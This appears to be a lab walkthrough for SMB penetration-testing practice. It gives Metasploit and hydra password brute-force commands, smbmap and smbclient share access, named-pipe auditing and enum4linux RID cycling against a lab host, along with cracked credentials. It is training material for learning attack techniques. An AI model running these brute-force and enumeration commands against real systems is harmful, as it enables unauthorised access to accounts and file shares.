Lab
- What is the password of user “jane” required to access share “jane”? Use smb_login metasploit module with password wordlist /usr/share/wordlists/metasploit/unix_passwords.txt
abc123 - What is the password of user “admin” required to access share “admin”? Use hydra with password wordlist: /usr/share/wordlists/rockyou.txt
- Which share is read only? Use smbmap with credentials obtained in question 2.
- Is share “jane” browseable? Use credentials obtained from the 1st question.
- Fetch the flag from share “admin”
- List the named pipes available over SMB on the samba server? Use pipe_auditor metasploit module with credentials obtained from question 2.
- List sid of Unix users shawn, jane, nancy and admin respectively by performing RID cycling using enum4Linux with credentials obtained in question 2.
Brute Force Jane's Password with MSFconsole
use auxiliary/scanner/smb/smb_login
set SMBUser jane
set pass_file /usr/share/wordlists/metasploit/unix_passwords.txt
set RHOSTS 192.238.213.3
exploit
Brute Force Admin's Password with Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.238.213.3 smb -t 10
Which Share Is Read Only For Admin with SMBmap
smbmap -u admin -p password1 -H 192.238.213.3
Is Share Jane Browseable?
-
smbclient //192.238.213.3/jane -U jane -
Jane's flag:
Flag from Admin Share with SMBclient
smbclient //192.238.213.3/admin -U admin
List Named Pipes Over SMB with MSFconsole
use auxiliary/scanner/smb/pipe_auditor
List SIDs for Shawn, Jane, Nancy, and Admin with Enum4Linux
enum4linux -r -u "admin" -p "password1" 192.238.213.3